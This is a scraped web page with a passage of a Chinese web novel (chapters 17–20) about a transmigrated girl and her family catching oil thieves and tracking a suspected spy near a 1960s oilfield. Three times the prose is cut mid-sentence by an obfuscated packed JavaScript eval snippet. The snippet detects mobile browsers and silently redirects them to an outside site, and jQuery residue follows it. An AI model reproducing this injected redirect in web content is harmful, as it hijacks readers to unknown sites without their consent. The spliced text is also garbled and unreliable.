;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304393|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,当即分开追捕。姜楠立刻坠在蓝青山后面,陈金花坠在沈所长身后,两人都朝着偷油贼的方向,撒丫子狂奔。 姜满城,姜满城自然是在原地等着了。这么大的动静,值守的钻井工人也都醒了,正拉着姜满城问东问西呢。 也许是干多了农活的缘故,偷油贼看着都挺健壮,跑起来也是贼拉有劲。姜楠这边,蓝青山毕竟上了年纪,跑了两公里就追不上了,小许也渐渐放慢了速度,只有姜楠,没事人一样继续呼哧呼哧地追。 偷油贼见警察都被他甩在后面了,倒是一个小姑娘紧追不舍,立刻也不急着逃了,停下来就想揍人。别看他跑得快,他也累啊,小姑娘都不带喘的,还是打趴下才安全。 “小丫头,我看你也不是警察,怎么,想见义勇为?识相点儿就滚!不然老子下手可不客气。” 这年头偷盗集体财物,可是重罪。这伙人能来干这个,就不是善茬子,手上是有两下功夫的。只是他今天打错了算盘,没想到姜楠也是会功夫的,而且比他好多了。 “少废话,今儿你要是能动我一根手指头,我跟你姓。” 姜楠学着港片里的古惑仔,叉着腰,抖着腿儿,昂着头,下巴一甩一甩地。 今晚她的人设,就是顶级恶霸! 偷油贼哪里受过这个羞辱呦,气得够呛,也不废话了,挥起拳头就往姜楠脸上招呼。 打蛇打七寸,打人就得打脸! 姜楠一个闪身躲过,她咧咧嘴角,转身一个大力金刚腿,啪叽一声,人就落到了五米开外。她学着电影里的反派狞笑一声,迈着八字步上前,得意中尽显嚣张气焰,矮身用一条腿狠狠顶住男人的腰眼,右手控制住偷油贼的双手,左手掏出绳子,将人反剪着绑了起来。 桀桀桀。 此时,在姜楠的脑海里,她已经不是她,而是行侠仗义、威震四方的女侠啦。 歘欻欻,嗖嗖嗖,也就几个回合,坏人悉数落马,她不仅大获全胜,还得到了金灿灿的宝藏奖励! 嘿嘿嘿。 等蓝青山和小许追上来,就看到地上被五花大绑的偷油贼,正嗷嗷地飙着脏话呢。姜楠大咧咧抱胸看着,桀桀怪笑,那脸上的表情,要多欠揍就有多欠揍。 蓝青山和小许抖抖身上的鸡皮疙瘩,三两步上前,将满嘴喷粪的偷油贼铐起来,这才给人松绑。 虽然制服了犯人,蓝青山依旧严肃着一张脸,冷声道:“别以为今儿立功了就嘚瑟。你这三脚猫功夫,对付这些偷油贼还成,要是遇见穷凶极恶的,可够你喝一壶的。再说,你又不是警察,伤了人可就说不清了。做事别冲动,知道吗?” 巴拉巴拉,往回走的一路上,说了足有二十分钟。姜楠刚开始头还昂着,后来恨不得连耳朵都耷拉下来。半路上,也不知是运气好还是不好,竟然又遇到一个逃窜的偷油贼。这家伙也不知道怎么跑的,曲里拐弯地竟然跟姜楠他们撞上了。 她大喝一声,一个箭步上前,右腿一抬,偷油贼当即倒地。后面呼哧呼哧追得大喘气的,不是沈所长是谁?沈所长本来身体素质还不错,这不是大晚上,又是农村的荒地,碎石头、小树杈子特别多,沈所长倒霉,不幸崴了脚。陈金花因为要扶人,耽误了追贼,倒让姜楠得了功劳。 大家合力把贼人铐上,回油井和其他队伍会和。其他追捕的小组也都回来了,六个偷油贼全部抓获。同样有几个警察崴了脚,不过没有其他更重的伤情,算是不幸中的万幸了。 沈所长拍拍姜楠和陈金花的肩膀,哈哈大笑:“姜楠同志,你又立功了。好,好啊。陈金花,你也是好样的,是咱们油田的优秀职工。这次的事我们一定会向上级报告,给你们嘉奖的。” 说完,他上下打量了几眼姜楠,又一瘸一拐地转圈儿看了一阵,突然问道:“你是高中毕业,是吧?” 18. 原文女主 骑车回去的一家三口,好神气的,下巴能抬到天上去。 姜楠不傻,当然知道沈所长问这句话的用意,姜满城更是猜了个七七八八。如今找工作多难啊,要是被派出所破格录取,嘿嘿嘿。 姜楠更是脑袋发昏,谁还没个制服情结呢。 【宿主,今天下午原文女主就登场了哦。】 “哦。”姜楠敷衍,什么都比不上当警察的喜悦。那可是警察啊,神圣的人民公安,穿制服戴大檐帽的,公安! 什么原文女主,这时候姜楠心里,只有制服。啊,不,只有警察! “爸,你说我是不是得再立个功啥的,这样才保险啊?”姜楠嗖嗖嗖蹬着车子,不忘跟姜满城取经,“这才两次,不保险吧?要是再来一次,肯定十拿九稳了。” 姜满城点点头,这时候有些后悔了:“早知道当初老尤的事,咱们就直接去举报了。这也是大功一件了。” 他蹬着车子,继续说:“别急,让系统这几天多接通点大家伙儿的脑电波,万一有人再做坏事儿呢。咱们再立一功,这派出所警察,咱当定了。” 陈金花也乐啊,她当初就想当警察,但父亲和两个哥哥怕她行事冲动,愣是进了工会。如今闺女要完成她的心愿了,怎么能不高兴。她说:“别急,妈也帮你留意着,咱们肯定能当上警察。” 一家人乐颠颠地往西河岸赶,此时已经快天亮了,三人怕引人怀疑,入村后就不再说话,静悄悄回了屋。觉是睡不成了,大晚上去抓贼,多兴奋啊,怎么可能睡得着。三人只稍微歇了歇,等院子里传出动静,迅速起身,用冷水拍了拍脸,这才没再让嘴角猎到耳朵根。 早饭依旧是定量的碴子粥、窝头和咸菜,只是咸菜换成了雪里蕻,多少比萝卜条难得。 “小弟,你怎么无精打采的,昨儿没睡好?”姜满塘是个称职的老大哥,见小弟一家没什么精神,关心地问。 “没事儿,昨儿吓着了。娘,您没事儿吧?”姜满城抹抹脸,吃饱就容易犯困,一晚上没睡的后遗症来了,姜满城眼睛都有点儿挣不开了。 杜荷花知道小儿子一家昨晚睡得晚,帮着转移开话题:“没事儿,行了,吃饭,就别说这么多了。今儿还得上工,我就不去了,在家看着小河。” “娘,您昨儿累着了,今儿肯定不能去。”姜满塘接话。 马红花撇撇嘴,少去一天就少六个公分,真是不会过日子的老虔婆。 众人自然没接收到马红花的怨念,纷纷劝杜老太多歇歇。杜老太嘴角翘起,享受着儿孙的孝顺。 很快,一大家子都去上工,姜家只剩下了姜满城一家、杜荷花和两岁的小姜河。杜荷花满脸嫌弃:“真是懒死你算了,晚睡一会儿就这个死样子。快去睡吧,看见你就烦。” 姜满城舔着脸当听不见,打着呵欠下炕:“娘,我是真扛不住了。您看我这黑眼圈儿,比眉毛都黑了。打眼儿一瞧,人家还以为我上下俩眉毛呢。不行,我真得去补觉,撑不住了。” 说着,他又打了个呵欠,挥手招呼媳妇儿闺女:“金花,小楠,走,去补觉。” “小叔爷羞羞,白天还睡觉。”小姜河刮着脸,躲在太奶杜荷花怀里略略略。 姜满城自小孩子缘儿就好,别看他经常不在家,但每次回来,都会给姜河带糖。小家伙觉得自己好聪明的,知道糖是小叔爷给的,十分喜欢姜满城。 姜河作为第四代唯一的孩子,家里每个人都宠着,大胆得很。就算喜欢姜满城,也是会开口说坏话的。你看,这不就吐槽上了。 “好你个小家伙。”姜满城探身在小家伙身上挠了挠,惹得姜河咯咯咯笑。 “好了,睡你的觉去。”杜荷花抱着姜河,替小家伙理理翻过来的衣角。 三人确实累了,也不在堂屋多耽误,回屋插上门,呼呼呼睡了起来。村里人大部分都去上工了,就算不上工,也大部分在田间地头的大树底下乘凉,很少留在家的,倒是十分安静,正好让三人睡了个好觉。 等中午吃午饭时,三人精神焕发,没了清早的颓废,就连午饭的棒子面窝头,都觉得格外香甜。 “村里又要来知青了,你说这城里一茬茬的来人,也不会干啥活,不是活受罪吗?他们不想来,我们还不想要呢。”姜满坡吐槽,“来了就得分大队的粮食,一个个的干活不行,吃得倒是不少,也不知道咋想的,城里呆得好好的,就要往农村来。” “那是城里的政策,知青下乡,二弟,你就别抱怨了,被人听到可不好。”姜满塘虽然也不喜欢知青,却听过大队长几个村干部的议论,知道这是政策,是他们这些泥腿子改不了的。 “大哥,咱自家人吃饭,怕啥。”姜满坡笑笑,眼珠子一转,转头问姜满城,“小弟,油田有知青要下乡吗?来不来咱们村儿?” “有几个听说是走了关系,分配到了油田附近的农村。”姜满城倒是没瞒着,虽然知道姜满坡没打什么好主意,但这也不是瞒着的事儿。村里在油田干活的又不是只有他家,大家早晚得知道,他说,“不过分没分到咱们村儿,我就不知道了。不过你也别打什么坏主意,这都下乡了,家里肯定安置不了工作,不然哪至于下乡?” “瞧你说的,我哪有什么心思。”姜满坡嘿嘿笑两声,“这不是找他们问问油田的事儿嘛。你说油田那么大,你又不是啥都知道,咱多问问其他人,知道得更多些,这叫知己知彼,以后招工,去油田工作都有好处的。” “行了,少胡咧咧。”杜荷花敲敲桌子,“吃饭,有那功夫你多拿几个公分不好?怎么听老大说,你一上午就拿了三个公分?老二,我昨天的话你是不是忘了?下午要是没有五个公分,晚饭就别吃了。” 姜满坡苦着脸点头。他虽然心思多,对杜荷花却是孝顺的。杜荷花一个人养大他们四个孩子,日子过的有多苦他是知道的,自然不敢反抗杜荷花的话。想着下午要做五个公分的活,他也没心思说话了,呼哧呼哧埋头吃饭。 吃饱才能多干活儿啊。 马红花还想问陈金花呢,闻言也低着头扒饭。她上午虽然干了四个公分,但下午是想偷懒的。哪想到老太太看得这么严,真是一点儿空子都不让人钻。 众人吃过午饭,休息后很快又去上工。抢收就得趁天气好抓紧时间,不然一场雨下来,一年的辛苦都得打水漂。 就在大家伙儿在地里挥汗如雨时,大队妇女主任领着九个知青从地头儿走过,倒是让村民们不约而同地放下了手里的活儿,对着知青指指点点。 “今年怎么五个女的?秀芬婶子咋挑人的,这干活儿还得是男娃,女娃来了不是浪费大队粮食嘛。”这是不满的村里老娘们儿。 “今年女知青长得不错啊,你看那个穿红上衣的,长得真白。”这是村里的单身汉。 “嘻嘻,这城里的小伙子就是比村里的汉子白净。你看一个个的,比那大姑娘还俊呢。”这是村里的小媳妇儿。 至于村里的小伙子小姑娘嘛,当然是不好意思开口,只一个劲儿看了。 “干什么干什么,别偷懒。一个个的,没见过知青吗?赶紧干活儿,天气预报可说明儿有雨,今儿就是干到天黑,也得把大豆都收了。别想偷懒。”这是大队长。 “大队长,天气预报啥时候准过?这干到天黑,不得累死?” “滚犊子,不准也得干。再说,你想一年白干?都给我赶紧干活儿,别看了,别看了。”大队长一个个的赶人,到底让大家三三两两回去干活了。 大队长姓金,是西河岸大队的老住家了。虽然一直都是农民,却枝繁叶茂,在村子里算是族人最多的一家。因着家里儿子孙子多,大队长当得稳稳的,没人敢札翅。这不,话音儿刚落,大家虽嘟嘟囔囔,到底拿起锄头埋头干活儿。 金队长满意,来到大路上,拦住妇女主任朱秀芬,问道:“都跟这些娃子说清楚没?粮食可是大队借给他们的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311829|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年底得用公分还。” “说清楚了。”朱秀芬也不喜欢知青,但是政策如此,她也没办法。作为妇女主任,每次接知青的活儿都是她来,事情在路上都是讲清楚了的,省得以后因为粮食的事扯皮。 【宿主,那个穿红衣服的就是原文女主唐夕。】 姜楠一家三口,第一时间就出来看热闹了。姜满城和陈金花虽然不是很理解穿书的概念,但是唐夕有巨额物资空间的事儿,他们是听明白了的。姜满城甚至动了挖唐夕墙角的念头,被姜楠好说歹说掐灭了邪念。 那是原文女主哎,谁知道是不是有什么不可知的力量保护着呢,他们一家三口,两个都有鬼呢,可不敢沾边儿。 毕竟啊,王不见王。 额,用错词了。 反正就是这么个意思。 一家三口盯着唐夕瞧,不愧是女主,样貌果然是顶呱呱,顾盼神飞,明媚皓齿,第一眼美女,再看,嗯,还是美女。 唐夕因长得好,自小被人看习惯了。她穿越就在火车上了,不然哪里会下乡。不过既然来了,她也不怨天尤人,毕竟有空间,她还是自信能过上好日子的。 不止村民和姜满城一家在看唐夕,就连知青内部的几个男青年,都在悄悄看她。毕竟难得一见的大美女,谁不稀罕瞧两眼。而且同是知青,他们机会还是很大的。所以一路上虽是步行,唐夕的行李被几个男人轮流背着,她倒是没受多少罪。 这边暗潮涌动,不想更热闹的来了。村口赫然出现十几个穿警服,骑着自行车的男人,为首的当然就是外勤负责人蓝青山。他来到众人面前,冷肃着一张脸,掏出证件,开口道:“大队长是哪位?我有事情跟他说。” 一瞬间,空气似乎都凝固了。 村民对警察,是带着天然的惧怕的。在村民眼中,不管发生什么事儿,都能在村里解决。只有杀人放火这种天大的事儿,才需要找警察。在大家的印象中,警察都是处理这种大事儿的,这次亲自来他们大队找人,他们大队,这是出了啥惊天地泣鬼神的大事儿了吗? 金大队长笑容凝固,沉默了两秒,很快打起精神,开口道:“我是大队长金有钱,请问您有什么事儿?” 蓝青山看了金大队长一眼,见众人没反驳,这才开口:“你们村里是不是有一个叫金五十的?外号叫二赖子,我们是来找他的,需要他到派出所协助调查。” “啊,这......”金大队长嘴角有些抖,二赖子是他们金家族人,虽然不成器,但有金家人护着,在村里也是没人敢惹。且二赖子有些小精明,知道乡性的重要性,小偷小摸、坑蒙拐骗这些事儿,他也不在村里做,无非就是干活儿时偷奸耍滑,大家睁一只眼闭一只眼,也就过去了。因此这么多年在村里都没出事儿。 可如今连警察都惹来了,金大队长能不害怕吗?他也不敢瞒着,哆哆嗦嗦地说:“他......他今天在二小队,负责搬大豆秧子。我这就去叫他。” 说着,他冲田东头喊道:“二队长金一百,把金五十带过来,快。” 二赖子呢?自看见警察,他就知道坏事儿了。昨晚那帮人偷完油没来找他一起销赃,他就有预感。今日连警察都来了,这还有什么不明白的。他想跑,可腿肚子软,一屁股坐在了地上。别看他平时凶,但从偷油贼不带着他就知道,这人身体素质一般,瘦得跟猴儿似的,还矮,要不是姓金,估计早被村里人教训了。 而且作为贼,见到警察,那是老鼠见到了猫,早怕得不要不要的。哪里还有跑的力气。很快,二赖子就被几人驾着,送到了警察面前。 当着知青的面,警察带了人就走,倒是让知青暗自嘀咕起来,纷纷怀疑村里风气不好,以后的生活怕是不安生。 你说二赖子的父母?他们哪儿敢闹啊,那可是警察,是带着枪的警察啊。 他们也就敢在警察走后,撒泼打滚地跟大队长哭一哭,其他的啊,还真是不敢做。 19. 回油田 一家子看了一场热闹,见识了原文女主,心满意足地回了家。 “爸,你说蓝大叔可真够无情的,招呼都不跟我们打,就走了。”姜楠还想跟蓝青山套套近乎呢,嘿嘿。 “你就知足吧,这是在抓人,他当着这么多人的面儿跟你打招呼,你当村里人背地里不犯嘀咕?还不得以为是你告的密?别看大家平日里不待见二赖子,但毕竟是村人,是大家看着长大的,跟你这个外人可不一样,你蓝大叔是为你好!” 姜满城心底满意,替蓝青山说了几句好话:“本来还担心你去派出所有什么危险,不过看蓝青山这么有心眼儿,我也就放心了。咱们这两天抓紧再立一功,让你赶紧去派出所入职。以后这盯着工作的人肯定更多,还是早下手为好。” “嗯,那咱们下午跟系统好好盘盘人头,看看从哪个下手。”姜楠也知道工作的重要性,她虽然也想躺平,但家里的东西总归得有个来处吧。如今他爸和他妈的工资,每月都花的差不多,家里要是再想改善生活,可不得多个来钱的门道。 很快,一家人关上门,开始盘人头。 “那个老尤,还有一群同伙儿没交代......” 姜楠刚开口,就被姜满城打断,“不行。老尤的事儿我们全程没插手,冒然去做,会被人怀疑的。换一个。” “那老程头藏在公厕的财宝......” 系统和姜楠提供了另一个人选,再次被姜满城拒绝:“不行,老程头虽然是个小偷,但他偷的时候还是日据时期,年份有点儿长,不知道行不行,先看其他的。” “额,那......咦,爸,妈,你记得那个跟林兵相亲的孙玲玲吗?” 见父母点头,她继续说道:“她原来那个对象,姓年的电影放映员,他后来娶的那个小寡妇,好像不太对。具体哪里不对,还得见了她才知道,这还是从那个公园里的老大妈那里知道的,得亲自去看看。” “你怀疑什么?”姜满城直接问。 “她们一家,可能是特务。”姜楠将自己的怀疑说了出来,“据扫描那个老大妈得出来的证据,那个小寡妇勾搭的可不止年放映员一个,不过全是咱们油田的职工。她的目的就是嫁入油田,具体想做什么不知道。” “哪里的特务?岛那边的,还是小日本留下来没被发现的?”姜满城继续问。 “不知道,老大妈知道的不多。” 这个事儿有些大,姜满城沉吟,盘腿儿敲了敲膝盖,低头沉思。半晌,抬头见母女俩跃跃欲试的脸,分析道:“如果是特务,就不是只有她一个人了。她可能有上下线,还可能受过训练,身手不错,这个不同于抓偷油贼,还是很危险的。你俩可得想好。” “抓特务哎,爸。”姜楠满脸兴奋,虽然惜命,但胆儿肥,她拍着大腿,满脸都是光,“这一波要是做了,我可就是妥妥的警察了!爸,你就别犹豫了。咱干吧,你也不想你闺女一直吃白饭吧?” “吃白饭咋了?爸妈又不是养不起你。”姜满城嘀咕,见陈金花也跟着点头,只得道,“行,听你俩的。真是,两个女同志,胆儿比谁都大。” 嘀咕完,他迅速安排道:“小楠,明儿你去年放映员那个小区转转,争取见到那个小寡妇。具体如何行动,等明天咱们再说。爸强调一遍,不能单独行动,知道吗?” 姜楠乖乖点头,一家人定好计策,这才出门去灶房,将昨晚的狍子肉又熏了熏。大半只袍子呢,可不少肉,这大热的天,熏肉可得熏干点儿。 小姜河跟太奶玩了一下午,又哒哒哒跑到灶房,要跟他小楠姑玩。姜楠想到经典的游戏跳格子,抱起小朋友就在院子里跳了起来。姜河才两岁,哪里能跳格子了,还不是哒哒哒瞎蹦,就这,也一直咯咯咯的,姜家院子里的笑声就没停过。 来了两天,三人吃过晚饭,也该回去了,明天周一,还得上班呢。吃饭前,陈金花在村里换了些鸡蛋,不多,也就三十个,再加上狍子肉,一家人也算是满载而归。 临走前,姜满城深深看了二弟姜满坡一眼,这两天事儿太多,竟然没工夫收拾马红花。不过不急,这仇他还记着呢,早晚还回去。他冲着姜满坡露出一个纯良的笑容,和妻女二人骑车扬长而去。 姜满坡被小弟笑得心里发毛。他这个小弟最是个睚眦必报的性子,这两天他们两口子好像没得罪他吧?小弟这是发的哪门子疯? 他在这边疑神疑鬼,姜满城一家子倒是全不受影响,哼着歌儿到了村口。 村口魏家,不出意外地打了起来。魏有为说魏老二偷了他的东西,魏老二指责魏有为贼喊捉贼,他的东西才真真被魏有为偷了。二人咣咣咣的,出手半点儿不留情,人脑子都被打成猪脑子了。二人的媳妇也滚在地上,唰唰唰地扯衣服薅头发。 魏家门口,里三层外三层围满了人,不少人端着饭碗,拿着馒头,一边吃饭一边儿看热闹,两不耽误。 姜满城三个人停车看了一会儿,嘴上那个笑啊,就没下去过。姜楠更是感慨,还得是农村啊,你瞧瞧,打架都这么生猛,城里人还是太要面儿啊,光动嘴皮子了。她在油田那么久,可从来没见过这么生猛的斗殴场面。 哎呦喂,魏有为踹弟弟那里啊。姜楠捂住眼睛,妈呀,亲兄弟啊,这也不怕弟弟不行,看给魏家老二疼的,满地打滚儿,尘土飞扬的,没眼看,没眼看。 哎呀天爷啊,魏家老二媳妇儿一骨碌坐在大伯子身上,猛扇嘴巴子啊,姜楠跟个没见识的小猹一样,感叹个不停。围观的村民更是倒抽好几口凉气,哦哦个不停。 长见识了,长见识了啊。 “今天是个好日子,心想的事儿都能成......” 等出了村子,姜楠哼起了后世的神曲。村子里当然是不敢了,那不是有同是穿越的唐夕嘛,谁知道她那个世界有没有这首歌,被听到就不好了。 三人在歌声中,很快回到了家属院。此时天都黑了,筒子楼虽然没全熄灯,也比平日里安静不少。三人锁好车,静静上了楼。 四楼,裘大妈、方阿婆、刘老太三个老年女同志都没睡,搬着小板凳坐在楼道口,嘀嘀咕咕说着闲话,倒是难得的没有吵嘴。 “阿婆们,这么晚了还不睡?”姜满城侧身拐入西边,嘴贱地打了声招呼。立时,三人也不嘀咕了,齐刷刷向他望来。 “城子啊,回老家带啥好东西了?你看这袋子鼓囊囊的,一看就不老少吧?”刘老太最先开口,还是熟悉的女高音。 “是啊,城子,大家都是邻居,有啥可藏着掖着的,打开看看呗。”方阿婆万年如一日的想着占便宜。 裘大妈倒是没开口,她和姜满城家到底是一个村子的,她也时常回老家,可不希望被邻居占这个便宜。 熟悉的配方,熟悉的味道。姜满城立刻如打了鸡血般笑脸相迎:“瞧大妈们说的,农村能有啥好东西?大家也都是村里出来的,累死累活一年,还没咱们工人一个月工资多呢。我这回去一次啊,就得出一次血。你们不说心疼心疼我吧,还在这边说风凉话。作为这么多年的邻居,我可要伤心了。” 说着,他做出一脸哭相,呜呜哭起来。姜满城本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330224|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来就长得俊,这几年坐了办公室,更是会金贵自己,不仅每天涂雪花膏,就是头发都梳得一丝不苟。 这幅样子做下来,倒是惹得三个老年妇女心疼了。 “哎,你也是不容易。农村日子过得苦,大家也都知道,行了,你赶紧回去吧。多歇歇,明儿还要上班呢。” “可不是,城小子快别这样。” 姜满城示意陈金花背着东西赶紧回家,拉着闺女姜楠,留下来拉起了家常:“刘大妈,你们这是说什么呢,这么晚了还不睡觉。也说给我听听,我这回去两天,也不知道咱筒子楼出了啥事儿没有。” “咱楼里没事,我们是在说那个孙玲玲呢。”刘老太来了兴致,见姜满城父女二人不知道,一想,这两人回去两天了,可不就错过热闹了。 她一拍大腿,兴奋地说:“那个孙玲玲嫁人了!被她爸嫁给了一个三十多的鳏夫,听说彩礼都要了一百块呢。不过那个鳏夫是肉联厂杀猪的,有钱。孙家还要了一个猪腿,你说这孙家是不是有本事?这样的好人家都能找到。” “好人家?”姜满城不解,“不就是鳏夫嘛,怎么是好人家了?” “哎呀,你听我说啊。”刘老太急了,“那个鳏夫不能生!这不,听说孙玲玲怀孕了,巴巴自己找上来的。要不然咋能给这么高的彩礼?这是想从小养孩子,培养感情,将来给自己养老呢。这孙玲玲也算是因祸得福了,可不是好人家嘛。” “这样啊。”父女俩对视一眼,姜满城再问,“这么快就嫁了?我这才回去两天吧,他们家动作够快的。” “主要是那个鳏夫着急。”方阿婆适时开口,“他也三十多了,心急要孩子呢。” “那,那个老尤判了没?我们回去也两天了,应该出结果了吧?”姜楠问。 “还没,老尤嘴硬。不过快了,大家都说要枪毙呢。他可杀了三个老婆呢,这杀人就得偿命。”刘老太瞪了方阿婆一眼,让这老家伙抢她话。 “还有那个范桃花。”裘大妈神秘兮兮地道,“听说回娘家之后日子不好过,跟哥嫂都干过两三次仗了。” “搁谁乐意这样的大姑子回家啊。”刘老太撇嘴,“不够丢人的,我看啊,早晚被撵出来。” “哎呀,小姜,你不知道,听说临市发现大油田了!还是离咱们西河岸大队不远那一片呢,听说是金花她爸带的队发现的。”裘大妈一拍大腿,兴奋道,“你说咱大队会不会也发现石油?哎呦妈呀,不敢想。” 裘大妈脸上露出向往的神情,随后猛拍大腿:“城子啊,这两天要是陈总工程师来信儿了,你可得多问问啊。这是大事儿,比天还大的大事儿,知道不?到时候你要是知道点什么,可得多给大家伙儿透露透露。” “是啊,小姜,有了信儿可不能瞒着大家伙儿。这要是招工啥的,咱们可不能落后了,是吧?”刘老太附和。 “哎呀,我们回去两天,没听说啊。”听到消息,姜满城也高兴,不过仍是冷静道,“等知道确切的信儿了,肯定跟大家说。咱们这么多年的邻居了,这点儿情份还是有的,你们还信不过我?” 大家又乐呵呵地八卦了一会儿,快九点了,陈金花见人迟迟不回来,开门叫了人,众人这才意犹未尽地各自离开。 筒子楼陷入了前所未有的宁静。日升日落,新的一天,很快来临。 一大早,忙忙碌碌的,跟打仗一样。洗漱,做饭,换衣服上班,很快家里又只剩下姜楠一人。不过她也得出门,毕竟今天啊,她可是有重要任务的。 会一会传说中的‘特务’。 20. 不容易 年放映员家在哪个院,姜楠早就知道。这不是那晚上去搬西瓜,和售货员大姐们聊天听来的嘛。其中那个土黄色上衣的大姐,还和年放映员家离得不远呢。 年放映员叫年为国,今年二十四岁,是接了他父亲的班,才当上的放映员。按说年纪也不小了,早该结婚的。这个年代大家普遍结婚都早,基本都是先摆酒就算结婚了,到了年龄就登记。有些干脆登记都不登记,要不是为了孩子上学,能一直这么住着。很少有年纪这么大还没结婚的。 但年为国情况不同。他是放映员,经常去乡下或者油田前线放电影,每次去都有油水,还和小寡妇大姑娘不清不楚的,这不是这方面不缺,他就不想着结婚嘛。也幸亏是没结婚,不然当初小寡妇们过来闹事,他非得被开除不行。 他家是单职工,表面条件并不多好。没分到筒子楼,而是分到了一个玻璃钢房子住。就是油田井上值班住的那种,跟码头集装箱似的房子,井上用旧了淘汰下来,油田再分给职工和家属住。别看破了,但只要稍微修整一下,也是很好的房子了。 前世姜楠小时候就住过这样的房子,铁皮的墙壁和屋顶,倒是有几分梦幻的感觉。只是夏天闷热,冬天也不保暖,没住两年就搬到平房里去住了。 姜楠小心翼翼地找过去,她只知道大概位置,并不知道年为国的家具体在哪里,也没见过那个小寡妇。因此到了生活区,她躲在一棵大树后,装着累了乘凉的样子,吩咐系统:“遇见的每个人都扫描一遍,尽快找到那个小寡妇。” 【好的,宿主。】系统十分听话,不放过每一个路过的男人女人。 只是姜楠来的时间不巧,吃过早饭,大家都去买菜了,生活区里的人并不多。系统扫描过后,并没有发现小寡妇,倒是年为国的大伯娘,和一帮上了年纪的老大妈们,坐在树荫下唠嗑。 【宿主,从年为国的大伯娘那里扫描得知,小寡妇姓梁,叫梁春花,是山坳子大队的,比年为国大六岁,今年三十,生过一个儿子,改嫁的时候被留在了前夫家。家里只一个老娘,好像也不是很清白,跟大队里好几个老爷们儿不清不楚,是个老白莲。哦,这是年为国大伯娘的话,不是我说的。】 姜楠翻个白眼儿:“小统啊,你知不知道解释就是掩饰。你这家伙,懂得不少嘛。” 【嘿嘿,宿主,我们系统的程序员爸爸,可是很有趣的人哦。所以我们正义吃瓜联盟系统,也是最可爱的系统啦。】 一人一统说闲话打发着时间,没过多久,买菜的人陆续回来,系统开始沉默地扫描。 【宿主,那个穿灰格子上衣,黑色长裤,扎一个大辫子的女人,就是那个小寡妇梁春花。】系统兴奋地开口,【她是个特务,宿主。严格来说,她母亲才是真正的特务,是早年小鬼子留下来,勘探华夏资源的。当年日军撤退,这些人没有暴露,隐藏了下来。她母亲是当年情报科的,受过特训,如今年纪大了,就把女儿培养了出来,继续为小鬼子效力。】 姜楠在心里骂了一句脏话,继续让系统扫描梁春花的更多秘密。 【宿主,主系统发布任务,抓住隐藏的特务,将得到2000吃瓜币的奖励。】 姜楠嘿嘿笑了两声,离升级空间又近了一步! 一人一统又呆了一会儿,才匆匆回了家。 到家时,姜楠看了眼客厅的座钟,已经十一点了,她擦擦汗,想着什么时候再有西瓜卖就好了。上次的三个已经吃完了,但天气还是这么热,一个夏天三个西瓜怎么够。 等终于不再那么热了,她才琢磨起系统扫描的结果。小寡妇母女虽然是特务,但得有证据,不能上去就说人家是特务吧?而且小寡妇就是个小人物,她母亲才是重要的,是最该被抓的。一旦抓了小寡妇,打草惊蛇,再让真正的特务跑了,就得不偿失了。 可小寡妇的母亲是个谨慎的,从来没跟女儿说过她的上线是谁,是如何传递消息的。看来她还得去山坳子大队走一圈儿,亲自见见这个人。可以什么理由去呢? 姜楠陷入沉思,很久都想不出办法。贸贸然过去肯定不行,那可是个特务,还是敌国特务,行事最是狡猾,她贸贸然过去肯定惹人怀疑。 这事儿,不好办啊。 她叹气,果然,想要凭空进入公安系统,就连还没有国考的六十年代,都是不容易的。 “401家里有人吗?”门外,响起陌生的声音。姜楠赶忙开门,就见邮递员站在门口:“你好,有陈金花同志的一封信,请问您是陈金花同志吗?” “不是,陈金花是我妈。” “那这样,让陈金花同志下午去邮局,亲自去取信。还有,下午两点,会有电话过来找陈同志,还请陈同志去邮局准时接听。” “电话?”姜楠惊讶,这年头能打上电话的,难道是她姥爷?老爷子不是都写信的嘛,怎么打起电话来了。 “对,电话。”邮递员将一个单子递给姜楠,也不多话,很快就离开。 姜楠看看单子上的寄信人,果然是她姥爷来信了。老爷子基本上半个月一封信,两地离得不远,一天的时间就能送到,算是很快了。 她将纸条放在桌子上,继续愁眉苦脸。 “你说说你,小小年纪叹什么气,多少好运气都被你叹完了。”姜满城推开门,见女儿愁眉苦脸的,开玩笑道。 “爸,妈。”姜楠大叫一声,见门关严了,这才小声道,“事情不好办啊。” “废话,这可是特务,你当那么容易!”姜满城翻个白眼儿,将公文包放到桌上。天知道,他一个档案室管理员,哪里需要带着公文包了。可姜满城就不,作为时代的弄潮儿,怎么能少了老干部必备的黑色公文包呢。 “行了,你先别发愁。让你爸先做饭,等我们吃饭的时候再一起商量。肯定没问题的。”陈金花撸撸女儿的短发,将今日买的菜给女儿看,“看,今天有人造肉,咱们炒个青椒人造肉吃。” 